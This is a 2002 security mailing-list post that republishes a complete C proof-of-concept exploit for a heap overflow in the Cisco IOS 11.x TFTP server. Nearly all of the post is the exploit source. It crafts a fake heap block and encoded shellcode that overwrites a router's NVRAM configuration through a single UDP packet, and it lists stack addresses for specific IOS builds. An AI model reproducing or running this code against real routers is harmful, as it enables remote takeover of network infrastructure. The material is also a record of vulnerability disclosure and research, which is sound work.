[EXPL] Cisco IOS Heap Exploit Proof of Concept

From: support@securiteam.com
Date: 08/21/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 21 Aug 2002 15:16:25 +0200 (CEST)

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  Cisco IOS Heap Exploit Proof of Concept
------------------------------------------------------------------------

SUMMARY

The following exploit code is a Cisco IOS exploitation of a heap overflow
and using actual shell code to upload a new config; all in one UDP packet.
This exploit utilizes an issue in the 11.x IOS TFTP server (
<http://www.securiteam.com/securitynews/5LP110A7PA.html> TFTP Long
Filename Vulnerability). Works against Cisco 1600 and 1000 series routers,
but is designed as PoC.

DETAILS

Exploit:
/* Cisco IOS Heap exploit prove of concept "Ultima Ratio".
 * by FX of Phenoelit <fx@phenoelit.de>
 * http://www.phenoelit.de
 *
 * Black Hat Briefings 2002 / Las Vegas
 * DefCon X 2002 / Las Vegas
 *
 * Cisco IOS 11.1.x to 11.3.x TFTP-Server
 * If a TFTP server for a flash file is configured, a long filename in the
TFTP
 
 * request will overflow a heap buffer. The attached program is a PoC to
exploi
t
 * this vulnerability by executing "shell code" on the router and write
the
 * attached configuration into NVRAM to basically own the router.
 *
 * Command line argument -p XXXXXXXX most definetly required. Obtain from
syslo
g
 * host or any other means possible. The stack address changes by image.
 * Find the right one for the IOS build you are running and if you feel
like it
,
 * send it to me.
 *
 * Kiddy Warnings:
 * - It will NOT work in fire-and-forget mode.
 * - The shellcode is only good for Cisco 1000 and 1600 series.
 * - This code is not for illegal use.
 *
 * $Id: UltimaRatioVegas.c,v 1.1 2002/07/26 16:39:38 $
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>

#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

typedef struct {
  u_int16_t opcode __attribute__((packed));
  u_int8_t file __attribute__((packed));
  u_int8_t type __attribute__((packed));
} tftp_t;

typedef struct {
  u_int16_t magic __attribute__((packed));
  u_int16_t one __attribute__((packed));
  u_int16_t checksum __attribute__((packed));
  u_int16_t IOSver __attribute__((packed));
  u_int32_t unknown __attribute__((packed));
  u_int32_t ptr __attribute__((packed));
  u_int32_t size __attribute__((packed));
} nvheader_t;

struct {
  int verbose;
  int test;
  char *filename;
  unsigned int overflow;
  u_int32_t prev;
  u_int32_t next;
  u_int32_t offset;
  u_int32_t buffer_location;
  u_int32_t stack_address;
  unsigned int nop_sleet;
  int dot1;
} cfg;

u_int16_t chksum(u_char *data, unsigned long count);
void hexdump(unsigned char *bp, unsigned int length);
void usage(char *s);

#define MAX_SIZE 1472
#define XOR_PAT 0xD5

#define FB_PREV 28
#define FB_NEXT 24
#define FB_FREENEXT 60
#define FB_FREEPREV 64

#define SPLASH \
    "Phenoelit ULTIMA RATIO\n" \
    " Cisco IOS TFTP-Server remote exploit (11.1.-11.3)\n" \
    " (C) 2002 - FX of Phenoelit <fx@phenoelit.de>\n"

int main(int argc, char **argv) {
  char option;
  extern char *optarg;
  unsigned int i;

  /* confg file */
  int fd;
  struct stat sb;

  u_char *buffer;
  u_char *p;
  nvheader_t *nvh;
  unsigned int len;
  u_int16_t cs1;
  u_int32_t temp;

  /* Network */
  int sfd;
  struct in_addr dest;
  struct sockaddr_in sin;

  /* the packet */
  unsigned int psize = 0;
  u_char *pack;
  tftp_t *tftp;
  char tftp_type[] = "PHENOELIT";
  char terminator[] = "\xCA\xFE\xF0\x0D";

  char fakeblock[] =
    "\xFD\x01\x10\xDF" // RED
    "\xAB\x12\x34\xCD" // MAGIC
    "\xFF\xFF\xFF\xFF" // PID
    "\x80\x81\x82\x83" //
    "\x08\x0C\xBB\x76" // NAME
    "\x80\x8a\x8b\x8c" //

    "\x02\x0F\x2A\x04" // NEXT
    "\x02\x0F\x16\x94" // PREV

    "\x7F\xFF\xFF\xFF" // SIZE
    "\x01\x01\x01\x01" //
    "\xA0\xA0\xA0\xA0" // padding ?
    "\xDE\xAD\xBE\xEF" // MAGIC2
    "\x8A\x8B\x8C\x8D" //
    "\xFF\xFF\xFF\xFF" // padding
    "\xFF\xFF\xFF\xFF" // padding

    "\x02\x0F\x2A\x24" // FREE NEXT (BUFFER)
    "\x02\x05\x7E\xCC" // FREE PREV (STACK of Load Meter, return addre
ss)

    ;

  char fakeblock_dot1[] =
    "\xFD\x01\x10\xDF" // RED
    "\xAB\x12\x34\xCD" // MAGIC
    "\xFF\xFF\xFF\xFF" // PID
    "\x80\x81\x82\x83" //
    "\x08\x0C\xBB\x76" // NAME
    "\x80\x8a\x8b\x8c" //

    "\x02\x0F\x2A\x04" // NEXT
    "\x02\x0F\x16\x94" // PREV

    "\x7F\xFF\xFF\xFF" // SIZE
    "\x01\x01\x01\x01" //
    //"\xA0\xA0\xA0\xA0" // no padding here on 11.1
    "\xDE\xAD\xBE\xEF" // MAGIC2
    "\x8A\x8B\x8C\x8D" //
    "\xFF\xFF\xFF\xFF" // padding
    "\xFF\xFF\xFF\xFF" // padding

    "\x02\x0F\x2A\x24" // FREE NEXT (BUFFER)
    "\x02\x05\x7E\xCC" // FREE PREV (STACK of Load Meter, return addre
ss)

    ;

  char nop[] =
    "\x4E\x71"; // the IOS will write here

  char shell_code[] =
    
    // ************** CODE ****************
    
    "\x22\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a1 (0x020F2A24)
    "\xe2\xd1" //lsrw %a1@ (0x020F2A2A)
    "\x47\xfa\x01\x23" //lea %pc@(12d<xor_code+0xfd>),%a3 (0x0
20F2A2C)
    "\x96\xfc\x01\x01" //subaw #257,%a3 (0x020F2A30)
    "\xe2\xd3" //lsrw %a3@ (0x020F2A34)
    "\x22\x3c\x01\x01\x01\x01" //movel #16843009,%d1 (0x020F2A36)
    "\x45\xfa\x01\x17" //lea %pc@(131<xor_code+0x101>),%a2(0x0
20F2A3C)
    "\x94\xfc\x01\x01" //subaw #257,%a2 (0x020F2A40)
    "\x34\x3c\xd5\xd5" //movew #-10795,%d2 (0x020F2A44)
    "\xb5\x5a" //eorw %d2,%a2@+ (0x020F2A48)
    "\x0c\x92\xca\xfe\xf0\x0d" //cmpil #-889262067,%a2@ (0x020F2A4A)
    "\xcc\x01" //branch (modified) (0x020F2A50)
    "\xff\xf6" //(0x020F2A52)

    // ************** XORed CODE ****************

    "\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A5E)
    "\xF7\xA9\xDA\x25\xC5\x17" //moveal #267391170,%a1 (0x020F2A62)
    "\xE7\x69\xD5\xD4" //movew #1,%a1@ (0x020F2A68)
    "\x90\x2F\xD5\x87" //lea %pc@(62 <config>),%a2 (0x020F2A6C
)
    "\xF7\xA9\xDB\xD5\xD7\x7B" //moveal #234881710,%a1 (0x020F2A70)
    "\xA1\xD4" //moveq #1,%d2 (0x020F2A76)
    "\xC7\x0F" //moveb %a2@+,%a1@+ (0x020F2A78)
    "\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A7A)
    "\x46\x97" //subxw %d2,%d1 (0x020F2A80)
    "\xBE\xD5\x2A\x29" //bmiw 22 <write_delay> (0x020F2A82)
    "\xD9\x47\x1F\x2B\x25\xD8" //cmpil #-889262067,%a2@ (0x020F2A86)
    "\xB3\xD5\x2A\x3F" //bnew 1a <copy_confg> (0x020F2A8C)
    "\xE7\x29\xD5\xD5" //movew #0,%a1@+ (0x020F2A90)
    "\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A94)
    "\x46\x97" //subxw %d2,%d1 (0x020F2A9A)
    "\xBE\xD5\x2A\x29" //bmiw 3c <write_delay2> (0x020F2A9C)
    "\x66\x29\xDB\xD5\xF5\xD5" //cmpal #234889216,%a1 (0x020F2AA0)
    "\xB8\xD5\x2A\x3D" //bltw 32 <delete_confg> (0x020F2AA6)
    "\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2AAA)
    "\xF5\xA9\xDA\x25\xD5\xD5" //moveal #267386880,%a0 (0x020F2AAE)
    "\xFB\x85" //moveal %a0@,%sp (0x020F2AB4)
    "\xF5\xA9\xDA\x25\xD5\xD1" //moveal #267386884,%a0 (0x020F2AB6)
    "\xF5\x85" //moveal %a0@,%a0 (0x020F2ABC)
    "\x9B\x05" //jmp %a0@ (0x020F2ABE)

    ;

  /* configure defaults */
  memset(&dest,0,sizeof(dest));
  memset(&cfg,0,sizeof(cfg));
  cfg.overflow=652;
  cfg.prev=0x020F1694;
  cfg.next=0x020F2A04;
  //cfg.offset=0x13D4;
  //cfg.offset=0x137C; // 4988
  cfg.offset=0x1390; // 5008
  cfg.buffer_location=0x020F2A24;
  cfg.stack_address=0x02057ECC;
  cfg.nop_sleet=16;

  printf("%s\n",SPLASH);

  while ((option=getopt(argc,argv,"1vtd:f:l:p:o:s:n:N:"))!=EOF) {
    switch (option) {
      case 'd': if (inet_aton(optarg,&dest)==0) {
              /* ups, wasn't an IP - maybe a hostname */
              struct hostent *hd;
              if ((hd=gethostbyname(optarg))==NULL) {
                fprintf(stderr,"Could not resolve destination h
ost\n");
                return (1);
              } else {
                bcopy(hd->h_addr,(char *)&dest,hd->h_length);
              }
            }
            break;
      case 'f': cfg.filename=(char *)malloc(strlen(optarg)+1);
            strcpy(cfg.filename,optarg);
            break;
      case 'l': if ( (cfg.overflow=atoi(optarg))==0 ) {
              fprintf(stderr,"Overflow length incorrect\n");
              return (1);
            }
            break;
      case 'o': if ( (cfg.offset=atoi(optarg))==0 ) {
              fprintf(stderr,"Offset incorrect\n");
              return (1);
            }
            break;
      case 'N': if ( (cfg.nop_sleet=atoi(optarg))==0 ) {
              fprintf(stderr,"NOP sleet incorrect\n");
              return (1);
            }
            break;
      case 'p': sscanf(optarg,"%08X",&(cfg.prev));
            break;
      case 'n': sscanf(optarg,"%08X",&(cfg.next));
            break;
      case 's': sscanf(optarg,"%08X",&(cfg.stack_address));
            break;
      case 'v': cfg.verbose++;
            break;
      case 't': cfg.test++;
            break;
      case '1': cfg.dot1++;
            break;
      default: usage(argv[0]);
            return (1);
    }
  }

  /*
   * check for dummies
   */

  if ( (!(*((u_int32_t *)&dest))) || (cfg.filename==NULL) ) {
    usage(argv[0]);
    return 1;
  }

  /*
   * patch fake block with new addresses
   */

  cfg.buffer_location=cfg.prev+20+cfg.offset;

  if (cfg.dot1) {
    temp=htonl(cfg.prev+20);
    memcpy(&(fakeblock_dot1[FB_PREV]),&(temp),4);
    temp=htonl(cfg.next);
    memcpy(&(fakeblock_dot1[FB_NEXT]),&(temp),4);
    temp=htonl(cfg.buffer_location);
    memcpy(&(fakeblock_dot1[FB_FREENEXT-4]),&(temp),4);
    temp=htonl(cfg.stack_address);
    memcpy(&(fakeblock_dot1[FB_FREEPREV-4]),&(temp),4);
  } else {
    temp=htonl(cfg.prev+20);
    memcpy(&(fakeblock[FB_PREV]),&(temp),4);
    temp=htonl(cfg.next);
    memcpy(&(fakeblock[FB_NEXT]),&(temp),4);
    temp=htonl(cfg.buffer_location);
    memcpy(&(fakeblock[FB_FREENEXT]),&(temp),4);
    temp=htonl(cfg.stack_address);
    memcpy(&(fakeblock[FB_FREEPREV]),&(temp),4);
  }

  if (cfg.verbose) {
    if (cfg.dot1) printf("using IOS 11.1 Heap management mode\n");
    printf("Values:\n"
        "- prev ptr of 0x%08X\n"
        "- next ptr of 0x%08X\n"
        "- buffer located at 0x%08X (offset %u)\n"
        "- stack return address 0x%08X\n"
        "- overflow lenght %u\n"
        "- NOP sleet %u\n"
        ,
        cfg.prev+20,
        cfg.next,
        cfg.buffer_location,cfg.offset,
        cfg.stack_address,
        cfg.overflow,
        cfg.nop_sleet);
  }

  if (cfg.dot1) {
    if (strlen(fakeblock_dot1)+1!=sizeof(fakeblock_dot1)) {
      fprintf(stderr,"0x00 byte in fake block detected!\n");
      if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock_dot1)-1);
      return (1);
    }
  } else {
    if (strlen(fakeblock)+1!=sizeof(fakeblock)) {
      fprintf(stderr,"0x00 byte in fake block detected!\n");
      if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock)-1);
      return (1);
    }
  }

  /*
   * Load Config
   * - load into buffer
   * - prepare NVRAM header
   * - calculate checksum
   * -> *buffer contains payload
   */
  if (cfg.filename==NULL) return (-1);
  if (stat(cfg.filename,&sb)!=0) {
    fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
    return (-1);
  }

  if ((fd=open(cfg.filename,O_RDONLY))<0) {
    fprintf(stderr,"Could not open() file %s\n",cfg.filename);
    return (-1);
  }

  len=sb.st_size;
  if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
    fprintf(stderr,"Malloc() failed\n");
    return (-1);
  }
  memset(buffer,0,len+sizeof(nvheader_t)+10);

  p=buffer+sizeof(nvheader_t);
  if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
  close(fd);

  /*
   * pad config so it is word bound for the 0xcafef00d test
   */
  if ((len%2)!=0) {
    strcat(p,"\x0A");
    len++;
    if (cfg.verbose) printf("Padding config by one\n");
  }

  nvh=(nvheader_t *)buffer;
  nvh->magic=htons(0xABCD);
  nvh->one=htons(0x0001); // is always one
  nvh->IOSver=htons(0x0B03); // IOS version
  nvh->unknown=htonl(0x00000014); // something, 0x14 just works
  nvh->ptr=htonl(0x020AA660); // something, 0x020AA660 just works
  nvh->size=htonl(len);

  cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
  if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
  nvh->checksum=cs1;

  /*
   * Check the size of all together and make sure it will fit into the
   * packet
   */
  psize= len + sizeof(nvheader_t) +
      + strlen(fakeblock)
      + ( strlen(nop) * cfg.nop_sleet )
      + strlen(shell_code)
      + strlen(terminator)
      + cfg.overflow + 1
      + sizeof(tftp_t) + strlen(tftp_type) ;
  if ( psize > MAX_SIZE ) {
    fprintf(stderr,"The config file specified is too big and does not fit"
        " into one packet. Specify smaller file\n");
    free(buffer);
    return (1);
  }
  if ((pack=malloc(psize))==NULL) {
    fprintf(stderr,"Could not malloc() packet\n");
    return (-1);
  }
  memset(pack,0,psize);

  /*
   * XOR encode the config block
   */
  p=buffer;
  for (i=0;i<(len+sizeof(nvheader_t));i++) {
    p[i]=p[i]^XOR_PAT;
  }

  /*
   * Prepare the TFTP protocol part
   */
  tftp=(tftp_t *)((void *)pack);
  tftp->opcode=htons(1);
  
  /* (1) Overflow */
  p=(char *)&(tftp->file);
  memset(p,'A',cfg.overflow);
  p+=cfg.overflow;

  /* (2) Fake block */
  if (cfg.dot1) {
    memcpy(p,fakeblock_dot1,sizeof(fakeblock_dot1)-1);
    p+=sizeof(fakeblock_dot1)-1;
  } else {
    memcpy(p,fakeblock,sizeof(fakeblock)-1);
    p+=sizeof(fakeblock)-1;
  }

  /* (3) add NOP sleet */
  for (i=0;i<cfg.nop_sleet;i++) {
    memcpy(p,nop,sizeof(nop)-1);
    p+=sizeof(nop)-1;
  }

  /* (4) append shell code */
  memcpy(p,shell_code,sizeof(shell_code)-1);
  p+=sizeof(shell_code)-1;

  /* (5) new config */
  memcpy(p,buffer,strlen(buffer));
  p+=strlen(buffer);

  /* (6) terminator */
  strcpy(p,terminator);
  p+=strlen(terminator)+1;

  /* (7) give it a type */
  strcpy(p,tftp_type);

  if (cfg.verbose>1) hexdump(pack,psize);

  if (cfg.test) return(0);

  /*
   * Perform attack
   */
  if ((sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
    perror("socket()");
    return (-1);
  }
  memset(&sin,0,sizeof(struct sockaddr_in));
  sin.sin_family=AF_INET;
  sin.sin_port=htons(69); /* tftp */
  memcpy(&(sin.sin_addr),&dest,sizeof(sin.sin_addr));

  printf("*** Sending exploit ***\n");

  if (sendto(sfd,pack,psize,0,
        (struct sockaddr *)&sin,sizeof(struct sockaddr_in))<=0) {
    perror("sendto()");
    return(-1);
  }

  close(sfd);

  if (cfg.verbose) printf("\t%d bytes network data sent\n",psize);

  /*
   * clean up
   */
  free(buffer);
  free(pack);

  return 0;
}

/* checksum function as used in IRPAS, stolen somewhere */
u_int16_t chksum(u_char *data, unsigned long count) {
  u_int32_t sum = 0;
  u_int16_t *wrd;

  wrd=(u_int16_t *)data;
  while( count > 1 ) {
    sum = sum + *wrd;
    wrd++;
    count -= 2;
  }

  if( count > 0 ) { sum = sum + ((*wrd &0xFF)<<8); }

  while (sum>>16) {
    sum = (sum & 0xffff) + (sum >> 16);
  }

  return (~sum);
}

/* A better version of hdump, from Lamont Granquist. Modified slightly
 * by Fyodor (fyodor@DHP.com)
 * obviously stolen by FX from nmap (util.c)*/
void hexdump(unsigned char *bp, unsigned int length) {

 /* stolen from tcpdump, then kludged extensively */

 static const char asciify[] = "................................
!\"#$%&'()*+,
-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz
{|}~...........................................................................
.....................................................";

 register const u_short *sp;
 register const u_char *ap;
 register u_int i, j;
 register int nshorts, nshorts2;
 register int padding;

 printf("\n\t");
 padding = 0;
 sp = (u_short *)bp;
 ap = (u_char *)bp;
 nshorts = (u_int) length / sizeof(u_short);
 nshorts2 = (u_int) length / sizeof(u_short);
 i = 0;
 j = 0;
 while(1) {
  while (--nshorts >= 0) {
   printf(" %04x", ntohs(*sp));
   sp++;
   if ((++i % 8) == 0)
    break;
  }
  if (nshorts < 0) {
   if ((length & 1) && (((i-1) % 8) != 0)) {
    printf(" %02x ", *(u_char *)sp);
    padding++;
   }
   nshorts = (8 - (nshorts2 - nshorts));
   while(--nshorts >= 0) {
    printf(" ");
   }
   if (!padding) printf(" ");
  }
  printf(" ");

  while (--nshorts2 >= 0) {
   printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
   ap += 2;
   if ((++j % 8) == 0) {
    printf("\n\t");
    break;
   }
  }
  if (nshorts2 < 0) {
   if ((length & 1) && (((j-1) % 8) != 0)) {
    printf("%c", asciify[*ap]);
   }
   break;
  }
 }
 if ((length & 1) && (((i-1) % 8) == 0)) {
  printf(" %02x", *(u_char *)sp);
  printf(" %c", asciify[*ap]);
 }
 printf("\n");
}

void usage(char *s) {
  fprintf(stderr,
      "Usage: %s -d <device_ip> -f config.file [-opts]\n"
      "Options:\n"
      " -p 1234ABCD sets the previous ptr address\n"
      " -n 1234ABCD sets the next ptr address\n"
      " -s 1234ABCD sets the stack address\n"
      " -o 1234 sets the offset from prev to buffer\n"
      " -l 1234 sets the overflow size\n"
      " -N 1234 sets the NOP sleet\n"
      " -1 use IOS 11.1 memory layout\n"
      " -v increases verbosity (highly recommended)\n"
      " -t only test, don't send\n"
      "\n"
      "Recommended stack addresses:\n"
      "IOS 11.1(20) -s 020A1120 (IP Input)\n"
      "IOS 11.2(18)P -s 0204120C (Load Meter)\n"
      "IOS 11.2(26)P4 -s 02041554 (Load Meter)\n"
      "IOS 11.3(11)B -s 02057ECC (Load Meter)\n"
      ,s);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:fx@phenoelit.de> FX of
Phenoelit.

========================================

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